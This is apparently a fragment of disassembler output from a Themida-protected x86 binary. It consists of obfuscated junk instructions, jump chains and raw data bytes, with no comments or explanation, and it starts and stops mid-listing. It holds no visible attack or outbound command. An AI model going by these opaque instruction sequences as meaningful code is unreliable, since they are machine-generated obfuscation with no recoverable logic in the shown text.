edx mov edx, 77010159h push edi jmp loc_56B381 ; --------------------------------------------------------------------------- db 51h, 89h, 0E1h dd 287FE9h db 0 ; --------------------------------------------------------------------------- loc_56B561: ; CODE XREF: Themida_:00561B1Fj push edi mov edi, esp jmp loc_56ECAC ; --------------------------------------------------------------------------- loc_56B569: ; CODE XREF: Themida_:00567E54j push ecx mov ch, dh mov dh, ah mov ah, ch jmp loc_567040 ; --------------------------------------------------------------------------- loc_56B575: ; CODE XREF: Themida_:005648FCj xor edx, 446D3C17h and esi, edx pop edx push ebx mov ebx, 73D2798Fh jmp loc_56FA70 ; --------------------------------------------------------------------------- loc_56B589: ; CODE XREF: Themida_:00561CF3j mov [esp], esi push ecx mov ecx, esp add ecx, 4 sub ecx, 4 xchg ecx, [esp] pop esp mov [esp], edi push eax push edi jmp loc_572809 ; --------------------------------------------------------------------------- db 0C1h, 0EBh, 6 dd 0C75EB81h, 0BBE9817Fh, 81FFFF21h, 0E07F4C5h, 0D3C58173h dd 8148A10Bh, 0E818FDC5h, 81FD295Ch, 0E818FDEDh, 0D3ED815Ch dd 0E948A10Bh, 0FFFF46EEh, 7643B7BEh, 6EEC163h, 0FF8C52E9h dd 525B54FFh, 0F571F1BAh, 0FDD0E97Ch, 5E25FFFFh, 0D1169A60h dd 43548E8h, 0E9014520h, 0FFFFC95Ch ; --------------------------------------------------------------------------- loc_56B608: ; CODE XREF: Themida_:0056DBABj mov ebp, [esp] add esp, 4 xor ebx, [esp] xor [esp], ebx xor ebx, [esp] jmp loc_57267E ; --------------------------------------------------------------------------- db 0FFh dd 34FF2434h, 4F685A24h, 89000070h, 0E389241Ch, 4EC81h dd 45E90000h db 0CEh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_56B63B: ; CODE XREF: Themida_:00560ACBj pop ecx add ecx, 457A3F9Ch jmp loc_570270 ; --------------------------------------------------------------------------- loc_56B647: ; CODE XREF: Themida_:00567B64j pop ebp jmp loc_564848 ; --------------------------------------------------------------------------- db 88h, 0C3h, 58h dd 8358665Ah, 148904ECh, 0D1B05024h, 196DE9h, 5DD1B800h dd 0C68920EDh, 0E924048Bh, 67Fh ; --------------------------------------------------------------------------- loc_56B670: ; CODE XREF: Themida_:0056B7C9j sub esp, 4 mov [esp], edx mov edx, 48C13B20h add esi, 67820CD0h add esi, edx sub esi, 67820CD0h pop edx inc esi neg esi neg esi jmp loc_56819A ; --------------------------------------------------------------------------- dd 88240C89h, 1AFA68C1h, 0C890000h, 81E18924h, 4C1h, 4E98100h dd 51000000h, 42474FFh, 0FFC075E9h db 0FFh ; --------------------------------------------------------------------------- loc_56B6B9: ; CODE XREF: Themida_:00565DE4j pop edi jmp loc_560CBE ; --------------------------------------------------------------------------- db 0BDh dd 79EF1DB2h, 15E9DDF7h, 81FFFFAAh, 0DEC886EFh, 50D7E9BCh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_56B6D6: ; CODE XREF: Themida_:00566EB2j dec edx sub edx, 56302FF7h mov edi, edx pop edx mov esi, edi jmp loc_571077 ; --------------------------------------------------------------------------- loc_56B6E7: ; CODE XREF: Themida_:0056F2FBj xor ebp, edx pop edx xchg esi, ebp not esi jmp loc_55DD2A ; --------------------------------------------------------------------------- db 0BDh dd 4, 0FF6CC5E9h db 0FFh ; --------------------------------------------------------------------------- loc_56B6FD: ; CODE XREF: Themida_:00567D18j inc ebx jmp loc_56C243 ; --------------------------------------------------------------------------- loc_56B703: ; CODE XREF: Themida_:00561D9Ej and edi, 458A1E5Ch xor edi, 1FF91B80h or edi, 729332Ah sub edi, 10F31C93h add edi, 0F0F7DCDDh mov ebx, edi jmp loc_568909 ; --------------------------------------------------------------------------- dd 0E9242C8Bh, 0FFFF7D20h, 6804C483h, 25EAh, 54240C89h dd 0FF3B5DE9h, 6BA52FFh, 8750F272h, 31DBF7DAh, 31D331DAh dd 0FFBE56DAh, 90CA92Eh, 0EA815EF2h, 1, 5006C281h, 0ED815052h dd 6F7F6006h, 3C67ED81h, 0D50167FBh, 0FFC500E9h, 0E9C601FFh dd 0FFFF9FA9h, 0C3685152h, 59603022h, 0FF923BE9h, 48B66FFh dd 9A76824h, 2EE90000h db 65h, 2 dup(0) ; --------------------------------------------------------------------------- loc_56B79B: ; CODE XREF: Themida_:00563107j mov edx, edi jmp loc_5640F9 ; --------------------------------------------------------------------------- dw 0CE29h dd 57240C8Bh, 2585E9h, 11F86800h, 2C890000h, 11D6E924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_56B7BA: ; CODE XREF: Themida_:005718AEj pop ebx loc_56B7BB: ; CODE XREF: Themida_:005604C4j push ecx mov ecx, esp jmp loc_568DEF ; --------------------------------------------------------------------------- loc_56B7C3: ; CODE XREF: Themida_:00570667j push 269A7C8Bh pop esi jmp loc_56B670 ; --------------------------------------------------------------------------- dw 0C481h dd 4, 0E904EC83h, 0FFFFA74Eh ; --------------------------------------------------------------------------- loc_56B7DC: ; CODE XREF: Themida_:005620C3j and ebx, 79E21189h push esi mov esi, 5C260C9h neg esi xor esi, 0A0C3252h not esi sub esi, 0DB05D87Eh and ebx, esi jmp loc_564E38 ; --------------------------------------------------------------------------- aShso db 'ShАo',0 dd 24048900h, 28C4E9h, 51B2B100h, 1A87E953h db 2 dup(0) ; --------------------------------------------------------------------------- loc_56B816: ; CODE XREF: Themida_:0055EA35j add ecx, 4 add ecx, 4 xchg ecx, [esp] pop esp and eax, ebp mov ebp, [esp] jmp loc_571204 ; --------------------------------------------------------------------------- db 1, 5Ch, 24h dd 246C8104h, 417D3904h, 62E0E95Fh, 0C2010000h, 2F03E958h db 2 dup(0) ; --------------------------------------------------------------------------- loc_56B846: ; CODE XREF: Themida_:0056B205j add ebp, 0FFFFFFFFh jmp loc_567093 ; --------------------------------------------------------------------------- dw 0BF57h dd 7BEA3246h, 0E906E7C1h, 225Fh ; --------------------------------------------------------------------------- loc_56B85C: ; CODE XREF: Themida_:0056254Ej push esi push ebp pop esi pop ebp jmp loc_56A5DF ; --------------------------------------------------------------------------- db 81h, 0C4h, 4 dd 56000000h, 4BEh, 90EB8100h, 11E9218h, 90C381F3h, 5E1E9218h dd 3304C383h, 1C31241Ch, 241C3324h, 6624248Bh, 0E9E930FFh db 49h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_56B897: ; CODE XREF: Themida_:0056DD66j ; Themida_:0056F44Ej push 62FCh mov [esp], ebx push dword ptr [esp] push dword ptr [esp] pop eax add esp, 4 push edx sub esp, 4 mov [esp], esp add dword ptr [esp], 4 jmp loc_568CD0 ; --------------------------------------------------------------------------- db 58h dd 0FFB625E9h db 0FFh ; --------------------------------------------------------------------------- loc_56B8C5: ; CODE XREF: Themida_:00565265j add ebp, ecx jmp loc_56003A ; --------------------------------------------------------------------------- loc_56B8CC: ; CODE XREF: Themida_:005710B8j pop esi loc_56B8CD: ; CODE XREF: Themida_:0056D067j ; Themida_:0056FBF8j push 5030h mov [esp], ebp push 3E77h mov [esp], ecx mov ecx, ebx push ecx mov ebp, [esp] add esp, 4 mov ecx, [esp] add esp, 4 push ebp add dword ptr [esp], 327627E7h jmp loc_55DA96 ; --------------------------------------------------------------------------- loc_56B8F9: ; CODE XREF: Themida_:00561BB9j mov [esp], eax mov eax, 1DBB3F9Dh shl eax, 4 jmp loc_56DADE ; --------------------------------------------------------------------------- db 83h, 0C4h, 4 dd 6C8CE281h, 81421F9Ah, 0B30618F2h, 0C3E28153h, 51418B2Eh dd 8F26856h, 0AFE97D2Ah, 50FFFF55h, 91591AB8h, 35D0F776h dd 0DDA8FA7Eh, 1ACE9h, 10500h, 83480000h, 77E904ECh, 66FFFF3Ch dd 6824048Bh, 2993h, 54240489h db 8Bh, 4, 24h ; --------------------------------------------------------------------------- push ebp mov ebp, esp push ebx mov ebx, 74A450A8h push 1B5Ch mov [esp], edi mov edi, 74A450ACh xor ebx, edi mov edi, [esp] add esp, 4 jmp loc_5655F4 ; --------------------------------------------------------------------------- db 5Fh, 81h, 0C7h dd 4, 89F7E951h, 0F329FFFFh, 81C3015Eh, 2C5779C3h, 91BBE929h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_56B99E: ; CODE XREF: Themida_:0056625Dj pop ebp jmp loc_5630A9 ; --------------------------------------------------------------------------- dd 0C181E189h, 4, 5C9368h, 0ED4E900h db 2 dup(0) ; --------------------------------------------------------------------------- loc_56B9B6: ; CODE XREF: Themida_:00567A9Ej push ebp mov ebp, esp add ebp, 4 sub ebp, 4 xchg ebp, [esp] jmp loc_56C3F2 ; --------------------------------------------------------------------------- loc_56B9CD: ; CODE XREF: Themida_:00563824j push dword ptr [esp] pop edi add esp, 4 sub esp, 4 jmp loc_5608FE ; --------------------------------------------------------------------------- dw 0F930h dd 5B2434FFh, 4C481h, 0B2520000h, 5D02E9C1h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_56B9F6: ; CODE XREF: Themida_:00570C9Aj xor [esp+4], edx jmp loc_55F9C0 ; --------------------------------------------------------------------------- loc_56B9FF: ; CODE XREF: Themida_:00560D17j sub ebx, 1 xchg edi, ebx not edi xchg edi, ebx push eax push eax mov eax, esp jmp loc_562BD8 ; --------------------------------------------------------------------------- loc_56BA11: ; CODE XREF: Themida_:0056AFD6j pop edx push edi mov edi, 3AE260ABh and edi, 121C0C33h shr edi, 6 jmp loc_56F77F ; --------------------------------------------------------------------------- dw 0F201h dd 8324348Bh, 0FF5204C4h, 5A042474h, 6A04E9h db 0 ; --------------------------------------------------------------------------- loc_56BA39: ; CODE XREF: Themida_:0055DA97j sub eax, 327627E7h jmp loc_563CC1 ; --------------------------------------------------------------------------- loc_56BA43: ; CODE XREF: Themida_:0056A990j add edi, 22E26E6Ah sub edi, edx push ebp mov ebp, 22E26E6Ah jmp loc_56FD6E ; --------------------------------------------------------------------------- dw 0F0BFh dd 811B8D24h, 0FE3582C7h, 0C1D7F75Fh, 0C78106EFh, 423158C3h dd 0E95FF801h, 0FFFFA39Ah, 72E99C51h db 18h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_56BA7B: ; CODE XREF: Themida_:005635B3j mov esi, 4 add edx, 61376924h jmp loc_56AD5E ; --------------------------------------------------------------------------- loc_56BA8B: ; CODE XREF: Themida_:0056CF9Aj add ecx, 4 xchg ecx, [esp] mov esp, [esp] push ebp jmp loc_56A371 ; --------------------------------------------------------------------------- dw 895Ch dd 1FE92414h, 0B9000070h, 23546D24h, 0C8BCE01h, 4C48124h dd 1000000h, 24BF57C6h, 2923546Dh, 0F685FFEh, 89000025h dd 0EB82404h, 0D6ACD68h, 4AC6707Dh, 54DDB951h, 91E915A1h dd 89FFFFB6h, 0BB53242Ch, 55415B05h, 502BE9h, 8BC12900h dd 0C4832404h, 4A2CE904h, 5057FFFFh, 0FF4250E9h, 4B9FFh dd 4C010000h, 0E9590424h, 0FFFF7CC9h ; --------------------------------------------------------------------------- loc_56BB0C: ; CODE XREF: Themida_:00564AC6j pop ebp push edi mov edi, esp add edi, 4 push ebx mov ebx, 4 add edi, ebx pop ebx xor edi, [esp] xor [esp], edi xor edi, [esp] pop esp sub eax, 30CD3CF2h sub eax, edi add eax, 30CD3CF2h push dword ptr [esp] pop edi add esp, 4 jmp loc_55E1F4 ; --------------------------------------------------------------------------- dd 0E9240C89h, 68C9h, 24148B5Fh, 0FF5362E9h, 2478BDFFh dd 0E5812AE8h, 585A25DEh, 2E83E94Dh, 83BB0000h, 0C164011Bh dd 0B9E903E3h, 5FFFF1Ah, 54A372E4h, 0D04E0C1h, 530478BDh dd 68h, 24042900h, 41685258h, 5A002007h, 2E254A05h, 0E9D02922h dd 0FFFF314Bh, 51B8B9h, 31C98127h, 8152051Bh, 0E127BDE9h dd 8BCE8961h, 0C481240Ch, 4, 895EF129h, 28E959CAh, 8100002Dh dd 4ECh, 0B879E900h, 2C8BFFFFh, 4C48124h, 5E000000h, 6859C831h dd 5C6Eh, 0E9243C89h, 0FFFF2758h, 2434FF54h, 4C48159h dd 68000000h, 19AAh, 0BF243C89h, 775E3E1Bh, 0A4ECF81h dd 0F7810BEEh, 4C7D1B09h, 0DCBD554Fh, 311B6D7Fh, 0B8505DEFh dd 784E6642h, 778D3540h, 0CC0D5CA9h, 35082A4Bh, 22AA0AF4h dd 0FF4352E9h, 2C483FFh, 0B6B65266h, 0F4E9h, 0D831AD00h dd 0DCE68h, 21E9E900h, 74FFFFFFh, 0E4E90424h db 6Bh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_56BC53: ; CODE XREF: Themida_:0055DE2Ej push edx mov edx, 4B4743A9h xor edx, 396D31F9h jmp loc_5641D7 ; --------------------------------------------------------------------------- loc_56BC64: ; CODE XREF: Themida_:00561649j xor bh, ah xor ah, bh not bh push edx mov dl, bh jmp loc_568598 ; --------------------------------------------------------------------------- loc_56BC72: ; CODE XREF: Themida_:005611AAj shr ebx, 4 xor ebx, 653DA042h add edi, ebx jmp loc_568572 ; --------------------------------------------------------------------------- dw 0F281h dd 68A80292h, 1BE9D729h db 52h, 2 dup(0) ; --------------------------------------------------------------------------- loc_56BC8F: ; CODE XREF: Themida_:0055FE6Fj dec esi or esi, 4B713272h dec esi neg esi add esi, 0C241C0C1h jmp loc_5689DF ; --------------------------------------------------------------------------- dd 4EC81h, 34890000h, 81E68924h, 4C6h, 4C68300h, 5C243487h dd 5C96C381h, 0EBD1235Ah, 4C13EB81h, 0EB811E51h, 0BC4339B4h dd 0FF2BC9E9h, 242C31FFh, 5C242C33h, 0EE81DE01h, 326849F2h dd 83241C8Bh, 0BE904C4h, 81000061h, 4C4h, 5EF32900h, 0A1E95659h db 6Bh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_56BCFF: ; CODE XREF: Themida_:0055DC93j mov eax, esi pop esi add eax, 137E05D3h and ecx, eax mov eax, [esp] add esp, 4 push esi jmp loc_56E3D6 ; --------------------------------------------------------------------------- dd 345DD05h, 58C20930h, 5006E2C1h, 0BD4AE7B8h, 58C20179h dd 0FFC162E9h, 60B652FFh, 45E9F500h, 66FFFF1Dh, 8950D829h dd 405E0h, 22D0000h, 81000000h, 4ECh, 24048900h, 42474FFh dd 8324048Bh, 48F04C4h, 89665C24h, 0CDE9241Ch db 0C4h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_56BD6B: ; CODE XREF: Themida_:005706A8j add esp, 4 push ecx push dword ptr [esp+4] mov ecx, [esp] add esp, 4 pop dword ptr [esp] jmp loc_56D205 ; --------------------------------------------------------------------------- dd 93E95E66h, 58FFFF93h, 3843E9h db 0 ; --------------------------------------------------------------------------- loc_56BD91: ; CODE XREF: Themida_:005722ABj mov esi, 3EA407C8h dec esi push eax mov eax, 5907293Ch shr eax, 3 sub eax, 0EC26AA9Dh and esi, eax pop eax jmp loc_55E590 ; --------------------------------------------------------------------------- loc_56BDAD: ; CODE XREF: Themida_:0056414Ej xchg ah, [esp] not ah xchg ah, [esp] pop edx sub dl, 0FFh not dl add dl, 23h add al, 0ABh sub al, 0C4h sub al, dl add al, 0C4h jmp loc_562A0A ; --------------------------------------------------------------------------- loc_56BDCB: ; CODE XREF: Themida_:00568F9Ej mov esi, esp add esi, 4 sub esi, 4 push esi push dword ptr [esp+4] jmp loc_56B481 ; --------------------------------------------------------------------------- loc_56BDE0: ; CODE XREF: Themida_:00563B0Cj pop ebp sub eax, 4 xor eax, [esp] xor [esp], eax xor eax, [esp] jmp loc_571C28 ; --------------------------------------------------------------------------- dd 405h, 42D00h, 4870000h, 0F5D6E924h, 80B5FFFFh, 0E800C504h dd 8071B151h, 0E9C0EFE9h, 0FEC9FE05h, 80C9FEC1h, 0C8283EE9h dd 240C8B59h, 4C481h, 0EC830000h, 24148904h, 0E2D059B2h dd 455768h, 241C8900h, 88B8B151h, 240C8BCFh, 0FFA9BFE9h dd 5FF901FFh, 0FF7221E9h, 24048BFFh, 515E5456h, 4B9h, 8BCE0100h dd 0C481240Ch, 4, 8704C683h, 248B2434h, 7367E924h, 2C89FFFFh dd 16685224h, 0FF346901h, 835A2434h, 514204C4h, 67113DB9h dd 2BC18101h, 0E9754448h, 0FFFFD06Dh ; --------------------------------------------------------------------------- loc_56BE98: ; CODE XREF: Themida_:00560056j add dl, 0CCh sub dl, ch sub dl, 0CCh jmp loc_570C2B ; --------------------------------------------------------------------------- db 0B8h, 75h, 74h dd 0C3092F84h, 81DBF758h, 210185EBh, 0E9DD2950h, 0FFFF347Ch ; --------------------------------------------------------------------------- loc_56BEBC: ; CODE XREF: Themida_:0056A5AAj push ebp mov ebp, esp add ebp, 4 push edi push ebx mov ebx, 34651822h jmp loc_569F6B ; --------------------------------------------------------------------------- loc_56BED1: ; CODE XREF: Themida_:00566DABj add ebp, 2C350547h dec ebp xor ebp, 40A5644Ch jmp loc_56F52C ; --------------------------------------------------------------------------- loc_56BEE3: ; CODE XREF: Themida_:0056FF50j xchg ecx, edx neg ecx xor edx, ecx xor ecx, edx xor edx, ecx jmp loc_56F486 ; --------------------------------------------------------------------------- dw 0EA01h dd 4CBBC281h, 0E9573B3Ah, 0FFFF73CBh ; --------------------------------------------------------------------------- loc_56BF00: ; CODE XREF: Themida_:0055D324j mov esp, [esp] movzx eax, al push dword ptr [edi+eax*4] push esi mov esi, 6C0F1F8Ah xor [esp+4], esi pop esi mov eax, [esp] add esp, 4 push ecx mov ecx, 0AB02959h push ebp jmp loc_564569 ; --------------------------------------------------------------------------- dw 0F801h dd 865E9h, 0D830AC00h, 687E9h db 0 ; --------------------------------------------------------------------------- loc_56BF35: ; CODE XREF: Themida_:0055D5F8j push ebx jmp loc_569FBF ; --------------------------------------------------------------------------- loc_56BF3B: ; CODE XREF: Themida_:00561368j push ebx mov ebx, 4E4C2DA0h or ebx, 31873009h neg ebx jmp loc_564B86 ; --------------------------------------------------------------------------- dw 2489h dd 24048124h, 4, 56BE5658h, 0D1018773h, 9CC681E6h, 0F736D02Fh dd 45FA68D6h, 0C890000h, 3AC9B924h, 0CE014E73h, 84C68159h dd 1EB6BDBh, 24348BF0h, 5504C483h, 28F2E9h, 1BF00h, 0F9290000h dd 0A5E9515Fh db 70h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_56BF9B: ; CODE XREF: Themida_:0056F967j mov ebx, 5E0C4983h jmp loc_560C3E ; --------------------------------------------------------------------------- db 54h, 5Bh, 51h dd 4B9h, 342BE900h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_56BFB2: ; CODE XREF: Themida_:0056C231j pop edi jmp loc_55EDD0 ; --------------------------------------------------------------------------- dd 4BF57h, 0C2810000h, 41AF1363h, 0FFA870E9h, 0D8005CFFh dd 6602EC83h, 53241489h, 88C4B151h, 0FE8859CFh, 4108E9h db 0 ; --------------------------------------------------------------------------- loc_56BFE1: ; CODE XREF: Themida_:005604E4j push edx mov edx, esp add edx, 4 add edx, 4 push edx push dword ptr [esp+4] pop edx pop dword ptr [esp] pop esp jmp loc_5697D7 ; --------------------------------------------------------------------------- dd 0D1631E35h, 0B9514843h, 5616081h, 760EE981h, 0C801F71Ah dd 98C9E959h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_56C016: ; CODE XREF: Themida_:0056C3C0j mov [esp], ecx push ebx mov ebx, esp add ebx, 4 push edi mov edi, 4 sub ebx, edi mov edi, [esp] add esp, 4 xchg ebx, [esp] mov esp, [esp] mov [esp], ebx mov ecx, [esp] add esp, 4 mov eax, ecx jmp loc_570F1D ; --------------------------------------------------------------------------- dw 575Bh dd 7C2EBFBFh, 0F7814752h, 1EE65892h, 0C265B850h, 0C781F18Dh dd 2CF25A49h, 0FF3F2EE9h, 8E1C1FFh, 1E981h, 0C1810000h dd 34787996h, 0B491BE56h, 0F1293EA2h, 60E7E95Eh, 0CFFE0000h dd 8889F780h, 2434FFFDh, 4C4835Bh, 0FFA85FE9h db 0FFh ; --------------------------------------------------------------------------- loc_56C095: ; CODE XREF: Themida_:0056AE01j pop esp mov [esp], edx jmp loc_561BE3 ; --------------------------------------------------------------------------- dw 6E25h dd 55281C1Ah, 0D6229CBDh, 5DE80118h, 6A896857h, 1C890000h dd 2D06824h, 1C8B0D1Bh, 0FBE2E924h, 3C8BFFFFh, 4C48324h dd 81E38953h, 4C3h, 4B95100h, 29000000h, 0B58E9CBh db 2 dup(0) ; --------------------------------------------------------------------------- loc_56C0DE: ; CODE XREF: Themida_:0055E52Fj pop eax jmp loc_570A00 ; --------------------------------------------------------------------------- dd 9D1C77FFh, 0D3665966h, 0E99C2414h, 0FFFF11F9h ; --------------------------------------------------------------------------- loc_56C0F4: ; CODE XREF: Themida_:0056280Ej mov dword ptr [edi+24h], 66895156h inc dword ptr [edi+24h] sub esp, 4 jmp loc_561AA6 ; --------------------------------------------------------------------------- db 0C1h, 0E8h, 6 dd 0A35BF57h, 0B8503304h, 16A336DFh, 0FF5250E9h, 0C5815DFFh dd 4, 1565E9h, 5DEF3100h, 835FF801h, 48704C0h, 3775E924h dd 0E95AFFFFh, 0FFFF54BAh ; --------------------------------------------------------------------------- loc_56C140: ; CODE XREF: Themida_:005648F6j popa popf jmp locret_56D046 ; --------------------------------------------------------------------------- loc_56C147: ; CODE XREF: Themida_:00572732j mov esi, 0C8F3CF8h xor esi, edi pop edi add esi, ebp push dword ptr [esp] pop ebp jmp loc_568D90 ; --------------------------------------------------------------------------- dw 0E188h dd 0A5E9CF88h db 34h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_56C163: ; CODE XREF: Themida_:0056FFCFj sub ebx, 8453FC18h jmp loc_565EF5 ; --------------------------------------------------------------------------- loc_56C16E: ; CODE XREF: Themida_:0056FE03j pop esp shr ecx, 0 jmp loc_56F1AF ; --------------------------------------------------------------------------- db 88h dd 0B7595AF4h, 0E9E70031h, 0FFFFD818h, 0F680DEF6h, 4EEC0C2h dd 8003EEC0h, 0F520DBEEh, 0F7C5805Ah, 0E959E828h, 0FFFFB5A2h ; --------------------------------------------------------------------------- loc_56C1A0: ; CODE XREF: Themida_:00570285j push dword ptr [esp] pop ecx jmp loc_55D364 ; --------------------------------------------------------------------------- db 0B5h, 0C4h, 0E9h dd 0FFFFEDAAh, 241CF766h, 1133E99Ch, 8EBFFFFFh, 0E96BFE53h dd 0FFFF67F5h ; --------------------------------------------------------------------------- loc_56C1C4: ; CODE XREF: Themida_:00571457j mov [esp], edx jmp loc_56828C ; --------------------------------------------------------------------------- loc_56C1CC: ; CODE XREF: Themida_:0055F115j xor eax, 68D505C3h add eax, 114DE94Fh shl eax, 3 xchg eax, ebp inc ebp jmp loc_565DD2 ; --------------------------------------------------------------------------- dd 2D5DE801h, 6C66308Ah, 28FF68h, 240C8900h, 0EA467EB9h dd 0AA8BE928h, 0EC81FFFFh, 4, 47DEE9h, 1EDCBB00h, 28B853B9h dd 1AC46E1h, 0C3015BD8h db 8Bh, 4, 24h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 jmp loc_562080 ; --------------------------------------------------------------------------- loc_56C225: ; CODE XREF: Themida_:00565185j sub eax, 11C92AC6h add eax, edi add eax, 11C92AC6h jmp loc_56BFB2 ; --------------------------------------------------------------------------- dw 1489h dd 2BA24h, 0AAE90000h db 26h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_56C243: ; CODE XREF: Themida_:0056B6FEj sub ebx, 0FF25FB7Eh jmp loc_5697AC ; --------------------------------------------------------------------------- dw 34FFh dd 89565B24h, 4C681E6h, 0E9000000h, 3DBBh, 28B7045Bh, 622868D8h dd 74E90000h db 0CBh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_56C26F: ; CODE XREF: Themida_:00562880j add edi, 4 add edi, 4 xchg edi, [esp] pop esp sub edi, 39504BEEh sub edi, eax add edi, 39504BEEh push dword ptr [esp] pop eax jmp loc_56D111 ; --------------------------------------------------------------------------- loc_56C296: ; CODE XREF: Themida_:0056FC74j pop eax add ebp, 572B7568h sub ebp, 0A9728EAEh add dword ptr [esp+4], 3315136Eh sub dword ptr [esp+4], 6A904E47h add [esp+4], ebp add dword ptr [esp+4], 6A904E47h sub dword ptr [esp+4], 3315136Eh jmp loc_565EB5 ; --------------------------------------------------------------------------- dd 4C681h, 0EE810000h, 4, 0E9243487h, 0FFFF7C08h, 6853565Ah dd 4C6A4405h, 1F46685Bh, 3C890000h, 6CDEE924h, 1C89FFFFh dd 7FDBE924h, 0E689FFFFh, 4C681h, 0BD550000h, 5E22314Dh dd 0FF3F30E9h, 370E68FFh, 34890000h, 699CBE24h, 0EEC16DE4h dd 5FE68103h, 81156D7Fh, 6E743ECEh, 81D6F75Bh, 412B6AF6h dd 0ABF68107h, 29A7D0A9h, 13E95EF7h, 0D1FFFF35h, 2EBC1EBh dd 8E43C381h, 0DF899642h, 0FFDCFCE9h, 4EC83FFh, 0BF243C89h dd 6F0F75D4h, 5601EF83h, 5E18BA52h, 0E28145F9h, 925396Ah dd 59B0F281h, 0D6896BE6h, 5EF7095Ah, 0E9B8C781h, 0FA09B1A0h dd 8B2434FFh, 0C483243Ch, 4C48104h, 0E9000000h, 0FFFF3140h dd 8104C483h, 4ECh, 0B5EAE900h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_56C3A6: ; CODE XREF: Themida_:00571B03j pop eax add eax, 0EB0ED8C8h xor ebx, eax pop eax mov eax, ebx jmp loc_5725CA ; --------------------------------------------------------------------------- loc_56C3B6: ; CODE XREF: Themida_:00562359j sub ecx, 4 xchg ecx, [esp] pop esp jmp loc_56C016 ; --------------------------------------------------------------------------- db 4Ah, 81h, 0EAh dd 10D47592h, 15AD129h, 5626E9CFh, 0C3810000h, 4, 5D5DE957h dd 0EC83FFFFh, 24148904h, 0EB7F36BAh, 15D5E967h db 2 dup(0) ; --------------------------------------------------------------------------- loc_56C3F2: ; CODE XREF: Themida_:0056B9C8j pop esp mov [esp], ebp push eax mov eax, 2DD56387h mov ebp, eax pop eax push edi jmp loc_57272D ; --------------------------------------------------------------------------- db 81h, 0C1h, 3Ch dd 1D4288Dh, 5826E9CDh, 3CBB0000h, 0F7115D4Dh, 2AE943DBh db 59h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_56C41F: ; CODE XREF: Themida_:00568DDEj xchg esi, [esp] pop esp add esp, 4 pop dword ptr [esp] push eax mov eax, 1 add edx, 1C7E50F1h push 31C6h jmp loc_562774 ; --------------------------------------------------------------------------- loc_56C442: ; CODE XREF: Themida_:00564417j or ebx, 49FD1137h add ebx, 71654CA8h add edx, ebx pop ebx inc edx jmp loc_56D218 ; --------------------------------------------------------------------------- align 4 dd 0E9805BD9h, 59CE30CAh, 0FFEC39E9h, 4C181FFh, 87000000h dd 2D5C240Ch, 9047650h, 48BC189h, 54525624h, 4225E95Ah db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_56C482: ; CODE XREF: Themida_:0055DBD4j sub ebp, 4 jmp loc_56D83B ; --------------------------------------------------------------------------- db 0B5h, 38h, 0B4h dd 59EC28F3h, 0FF8E38E9h db 0FFh ; --------------------------------------------------------------------------- loc_56C499: ; CODE XREF: Themida_:0056D1D4j push ebp sub esp, 4 jmp loc_561001 ; --------------------------------------------------------------------------- db 57h, 0BFh, 3 dd 0C15E0F0Fh, 0F78102EFh, 75573F2Ah, 0FFBD8CE9h db 0FFh ; --------------------------------------------------------------------------- loc_56C4B9: ; CODE XREF: Themida_:00569690j push esi push edx mov edx, 231A17C6h jmp loc_56E580 ; --------------------------------------------------------------------------- db 57h, 55h, 0BDh dd 6DD64552h, 0E95DEF89h, 383h ; --------------------------------------------------------------------------- loc_56C4D4: ; CODE XREF: Themida_:0056EDCEj push esi mov esi, 72983079h sub ebx, esi pop esi add ebx, edi add ebx, 72983079h push dword ptr [ebx] sub dword ptr [esp], 417C1987h mov ecx, [esp] add esp, 4 push ebx mov ebx, 317B7836h shl ebx, 2 neg ebx shr ebx, 4 add ebx, 3DDAF795h add ecx, ebx mov ebx, [esp] add esp, 4 push dword ptr [esp] mov ebx, [esp] add esp, 4 add esp, 4 push edi push ebx jmp loc_55EC06 ; --------------------------------------------------------------------------- dd 8102EBC1h, 0A836CBCBh, 9D69E928h, 77FFFFFFh, 59669D1Ch dd 241CD366h, 0DA3E99Ch, 535AFFFFh, 42474FFh, 24048F5Bh dd 240C895Ch, 0FFF8A9E9h, 4C800FFh, 8B222C48h db 0Ch, 24h ; --------------------------------------------------------------------------- push ebp mov ebp, esp push ebx jmp loc_55EC27 ; --------------------------------------------------------------------------- db 1 dd 24148BD3h, 0FF8FB3E9h, 4302CFFh, 3E8C055h, 655CE9h dd 4B85000h, 0E9000000h, 0FFFF2067h, 2C2835Ch, 26B668h dd 24148900h, 42474FFh, 833BE95Ah, 0F581FFFFh, 6C373A09h dd 2414F755h, 0DAED815Dh, 0E90BB857h, 0FFFF7815h, 4EC81h dd 1C890000h, 6694B724h, 66165768h, 0B1240C89h, 42EF80FFh dd 0E904B252h, 0FFFFA4F1h ; --------------------------------------------------------------------------- loc_56C5DC: ; CODE XREF: Themida_:0056233Dj xchg edx, [esp] jmp loc_56ED09 ; --------------------------------------------------------------------------- dd 0EB3F64BEh, 81D6F72Ch, 77321CCEh, 0AEE8120h, 0E98B58F0h dd 0FFFF333Bh ; --------------------------------------------------------------------------- loc_56C5FC: ; CODE XREF: Themida_:005655BDj add ebx, 4 xchg ebx, [esp] pop esp jmp loc_56102B ; --------------------------------------------------------------------------- dd 465EE957h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_56C60E: ; CODE XREF: Themida_:00569432j pop esi and eax, ebx push dword ptr [esp] pop ebx push 145Eh jmp loc_570371 ; --------------------------------------------------------------------------- loc_56C61F: ; CODE XREF: Themida_:0055D9CAj pop eax add esp, 4 jmp loc_562A84 ; --------------------------------------------------------------------------- db 5Ch 